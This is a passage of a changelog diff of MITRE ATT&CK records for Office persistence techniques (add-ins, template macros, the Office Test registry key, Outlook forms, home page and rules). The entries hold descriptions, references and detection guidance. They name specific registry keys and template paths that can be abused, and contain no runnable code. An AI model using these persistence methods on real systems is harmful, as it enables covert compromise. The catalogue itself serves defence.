\"https://www.attackiq.com/2023/03/16/hiding-in-plain-sight/\"}, \"root['x_mitre_contributors'][2]\": \"Liran Ravich, CardinalOps\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may attempt to make payloads difficult to discovt1Adversaries may attempt to make payloads difficult to discov
>er and analyze by delivering files to victims as uncompiled >er and analyze by delivering files to victims as uncompiled 
>code. Text-based source code files may subvert analysis and >code. Text-based source code files may subvert analysis and 
>scrutiny from protections targeting executables/binaries. Th>scrutiny from protections targeting executables/binaries. Th
>ese payloads will need to be compiled before execution; typi>ese payloads will need to be compiled before execution; typi
>cally via native utilities such as csc.exe or GCC/MinGW.(Cit>cally via native utilities such as ilasm.exe(Citation: ATTAC
>ation: ClearSky MuddyWater Nov 2018)  Source code payloads m>K IQ), csc.exe, or GCC/MinGW.(Citation: ClearSky MuddyWater 
>ay also be encrypted, encoded, and/or embedded within other >Nov 2018)  Source code payloads may also be encrypted, encod
>files, such as those delivered as a [Phishing](https://attac>ed, and/or embedded within other files, such as those delive
>k.mitre.org/techniques/T1566). Payloads may also be delivere>red as a [Phishing](https://attack.mitre.org/techniques/T156
>d in formats unrecognizable and inherently benign to the nat>6). Payloads may also be delivered in formats unrecognizable
>ive OS (ex: EXEs on macOS/Linux) before later being (re)comp> and inherently benign to the native OS (ex: EXEs on macOS/L
>iled into a proper executable binary with a bundled compiler>inux) before later being (re)compiled into a proper executab
> and execution framework.(Citation: TrendMicro WindowsAppMac>le binary with a bundled compiler and execution framework.(C
>)>itation: TrendMicro WindowsAppMac)
", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14 16:46:06.044000+00:00", + "modified": "2024-10-15 16:01:21.255000+00:00", + "name": "Office Application Startup", + "description": "Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1137", + "external_id": "T1137" + }, + { + "source_name": "Microsoft Detect Outlook Forms", + "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.", + "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack" + }, + { + "source_name": "TechNet O365 Outlook Rules", + "description": "Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019.", + "url": "https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/" + }, + { + "source_name": "CrowdStrike Outlook Forms", + "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.", + "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746" + }, + { + "source_name": "SensePost Ruler GitHub", + "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.", + "url": "https://github.com/sensepost/ruler" + }, + { + "source_name": "SensePost NotRuler", + "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.", + "url": "https://github.com/sensepost/notruler" + }, + { + "source_name": "Outlook Today Home Page", + "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.", + "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Nick Carr, Mandiant", + "Microsoft Threat Intelligence Center (MSTIC)", + "Sahar Shukrun", + "Praetorian", + "Loic Jaquemet", + "Ricardo Dias" + ], + "x_mitre_data_sources": [ + "File: File Creation", + "Application Log: Application Log Content", + "Windows Registry: Windows Registry Key Modification", + "File: File Modification", + "Module: Module Load", + "Process: Process Creation", + "Windows Registry: Windows Registry Key Creation", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nMany Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)\n\nMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\", \"Administrator\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:01:21.255000+00:00\", \"old_value\": \"2021-10-15 20:18:31.112000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}, \"root['x_mitre_platforms'][1]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint", + "M1042: Disable or Remove Feature or Program", + "M1051: Update Software", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-11-07 19:52:52.801000+00:00", + "modified": "2024-10-15 15:37:09.190000+00:00", + "name": "Add-ins", + "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1137/006", + "external_id": "T1137.006" + }, + { + "source_name": "FireEye Mail CDS 2018", + "description": "Caban, D. and Hirani, M. (2018, October 3). You\u2019ve Got Mail! Enterprise Email Compromise. Retrieved April 22, 2019.", + "url": "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf" + }, + { + "source_name": "MRWLabs Office Persistence Add-ins", + "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.", + "url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/" + }, + { + "source_name": "Microsoft Office Add-ins", + "description": "Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.", + "url": "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460" + }, + { + "source_name": "GlobalDotName Jun 2019", + "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.", + "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "File: File Modification", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Creation", + "Process: Process Creation", + "File: File Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"Administrator\", \"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:37:09.190000+00:00\", \"old_value\": \"2021-08-16 21:26:09.296000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}, \"root['x_mitre_platforms'][1]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-11-07 20:29:17.788000+00:00", + "modified": "2024-10-15 16:01:35.918000+00:00", + "name": "Office Template Macros", + "description": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1137/001", + "external_id": "T1137.001" + }, + { + "source_name": "MSDN VBA in Office", + "description": "Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.", + "url": "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office" + }, + { + "source_name": "Hexacorn Office Template Macros", + "description": "Hexacorn. (2017, April 17). Beyond good ol\u2019 Run key, Part 62. Retrieved July 3, 2017.", + "url": "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/" + }, + { + "source_name": "Microsoft Change Normal Template", + "description": "Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.", + "url": "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea" + }, + { + "source_name": "enigma0x3 normal.dotm", + "description": "Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.", + "url": "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/" + }, + { + "source_name": "CrowdStrike Outlook Forms", + "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.", + "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746" + }, + { + "source_name": "GlobalDotName Jun 2019", + "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.", + "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique" + }, + { + "source_name": "Outlook Today Home Page", + "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.", + "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "File: File Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "Process: Process Creation", + "Windows Registry: Windows Registry Key Creation", + "File: File Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\", \"Administrator\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:01:35.918000+00:00\", \"old_value\": \"2021-08-16 21:27:10.873000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}, \"root['x_mitre_platforms'][1]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-11-07 19:44:04.475000+00:00", + "modified": "2024-10-15 16:01:48.325000+00:00", + "name": "Office Test", + "description": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature, such as:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1137/002", + "external_id": "T1137.002" + }, + { + "source_name": "Palo Alto Office Test Sofacy", + "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/" + }, + { + "source_name": "Hexacorn Office Test", + "description": "Hexacorn. (2014, April 16). Beyond good ol\u2019 Run key, Part 10. Retrieved July 3, 2017.", + "url": "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Creation", + "Command: Command Execution", + "File: File Modification", + "Windows Registry: Windows Registry Key Modification", + "File: File Creation", + "Process: Process Creation", + "Module: Module Load" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)\n\nConsider monitoring Office processes for anomalous DLL loads.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:01:48.325000+00:00\", \"old_value\": \"2024-04-16 12:41:55.175000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}, \"root['x_mitre_platforms'][1]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-11-07 20:06:02.624000+00:00", + "modified": "2024-10-15 16:02:00.782000+00:00", + "name": "Outlook Forms", + "description": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1137/003", + "external_id": "T1137.003" + }, + { + "source_name": "Microsoft Detect Outlook Forms", + "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.", + "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack" + }, + { + "source_name": "SensePost NotRuler", + "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.", + "url": "https://github.com/sensepost/notruler" + }, + { + "source_name": "SensePost Outlook Forms", + "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.", + "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"Administrator\", \"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:02:00.782000+00:00\", \"old_value\": \"2021-08-16 21:29:19.697000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}, \"root['x_mitre_platforms'][1]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bf147104-abf9-4221-95d1-e81585859441", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-11-07 20:09:56.536000+00:00", + "modified": "2024-10-15 16:02:13.742000+00:00", + "name": "Outlook Home Page", + "description": "Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nOnce malicious home pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1137/004", + "external_id": "T1137.004" + }, + { + "source_name": "Microsoft Detect Outlook Forms", + "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.", + "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack" + }, + { + "source_name": "SensePost NotRuler", + "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.", + "url": "https://github.com/sensepost/notruler" + }, + { + "source_name": "SensePost Outlook Home Page", + "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019.", + "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"Administrator\", \"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:02:13.742000+00:00\", \"old_value\": \"2021-08-16 21:30:01.743000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}, \"root['x_mitre_platforms'][1]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-11-07 20:00:25.560000+00:00", + "modified": "2024-10-15 16:02:26.206000+00:00", + "name": "Outlook Rules", + "description": "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a 